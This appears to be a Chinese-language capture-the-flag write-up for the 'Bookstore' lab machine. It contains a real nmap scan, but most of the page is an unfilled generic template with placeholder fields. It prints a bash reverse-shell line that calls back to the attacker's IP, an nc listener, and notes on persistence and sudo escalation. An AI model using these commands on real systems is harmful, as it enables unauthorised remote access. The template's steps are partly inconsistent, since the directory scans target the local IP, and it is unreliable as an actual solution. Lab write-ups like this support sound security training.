具有基本 Web 枚举和 REST API 模糊测试的初级框。
🚀 靶场概述
难度: 中
描述: 具有基本 Web 枚举和 REST API 模糊测试的初级框。
Bookstore 是一台 boot2root CTF 机器,它教初学者渗透测试人员基本的 Web 枚举和 REST API 模糊测试
📋 基本信息
🚀 | 本地机器信息 | 目标机器信息 |
---|---|---|
IP | 10.17.5.121 |
10.10.96.141 |
OS | Kali |
信息搜集
1. 🛠️ 端口扫描
- 使用工具如
nmap
或masscan
进行端口扫描,发现目标机器开放的端口。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25┌──(leo㉿HACK)-[~/SecLab/bookstoreoc]
└─$ nmap -sCV -p22,80,5000 $ip -T4
Starting Nmap 7.80 ( https://nmap.org ) at 2024-11-22 23:54 HKT
Nmap scan report for 10.10.96.141
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 44:0e:60:ab:1e:86:5b:44:28:51:db:3f:9b:12:21:77 (RSA)
| 256 59:2f:70:76:9f:65:ab:dc:0c:7d:c1:a2:a3:4d:e6:40 (ECDSA)
|_ 256 10:9f:0b:dd:d6:4d:c7:7a:3d:ff:52:42:1d:29:6e:ba (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Book Store
5000/tcp open http Werkzeug httpd 0.14.1 (Python 3.6.9)
| http-robots.txt: 1 disallowed entry
|_/api </p>
|_http-server-header: Werkzeug/0.14.1 Python/3.6.9
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.16 seconds
2. 🔎 路径探测
- 扫描网站或系统的开放路径,寻找潜在的漏洞。
1
2
3
gobuster dir -u http://10.17.5.121 -w /usr/share/wordlists/dirb/common.txt
dirb http://10.17.5.121
3. 🧰 服务枚举
- 对服务进行详细的枚举,寻找潜在漏洞。
- 使用工具如
nmap
、nikto
、dirbuster
等。
- 使用工具如
🧠 渗透思路
1. ⚡ 攻击向量
- 根据目标机器暴露的服务和漏洞,选择攻击路径。
- 如 Web 漏洞、SSH 漏洞等。
2. 💥 nday 利用
- 查找未打补丁的漏洞,利用公开的 nday 漏洞。
- 通过 Metasploit 或自定义脚本进行利用。
3. 🔍 信息审计
- 审计目标系统,查找敏感信息或配置错误。
- 通过配置文件、日志文件等进行信息审计。
🌐 Web 渗透测试
- Web 漏洞扫描:使用 Burp Suite、Nikto 等工具进行 Web 应用的扫描。
- 漏洞利用:利用常见漏洞,如 SQL 注入、XSS 等,进行进一步测试。
🔐 横向移动与后渗透操作
- 横向移动:一旦获取基础 shell,搜索网络内其他潜在目标,进行横向渗透。
- 后渗透操作:
- 获取敏感信息(如数据库、用户凭证)。
- 持久化访问,通过反向 shell、计划任务等手段保持连接。
🕵️♂️ 漏洞利用
漏洞名称:<漏洞名称>
- 描述:<漏洞描述>
- 利用过程:
- 漏洞分析:<简要描述漏洞的成因>
- 编写利用脚本 或 使用现有工具:<如何利用>
- 验证漏洞是否有效:<验证步骤>
- 获取相关权限或信息:<攻击目标后获取的权限>
💻 getshell
- 描述:通过漏洞获取目标机器的 shell(命令行访问)。
- 步骤:
- 使用反向 shell 获取访问权限:
1
2nc -lvnp 4444
bash -i >& /dev/tcp/10.17.5.121/4444 0>&1 - 验证 shell 是否成功:
1
2whoami
id
- 使用反向 shell 获取访问权限:
🔨 提权
- 描述:在目标系统中进行权限提升,获取 root 权限。
- 步骤:
- 查看当前用户和权限:
1
2whoami
id - 查找本地提权漏洞或配置错误:
- 使用
linpeas
、GTFOBins
查找提权方法。
- 使用
- 提升权限至 root 用户:
1
sudo /bin/bash # 提升为 root
- 查看当前用户和权限:
📚 知识点回顾
- 信息搜集技巧:
- 端口扫描与服务枚举技巧。
- Web 漏洞检测技巧(SQL 注入、XSS 等)。
- 漏洞利用技巧:
- 如何使用 Metasploit 或自行编写漏洞利用脚本。
- 获取反向 shell 与持续访问。
- Post-Exploitation 技巧:
- 获取目标的敏感信息和访问权限。
- 提升权限,进行横向移动。
🧳 攻击链与流程图
- 可视化渗透测试的整体攻击过程,确保每一步都清晰。
📅 总结
- 成功步骤:简要描述成功的渗透测试步骤和关键点。
- 遇到的困难与挑战:列出在过程中遇到的难点及解决方案。
- 后续建议:对靶场的进一步探索或防御建议。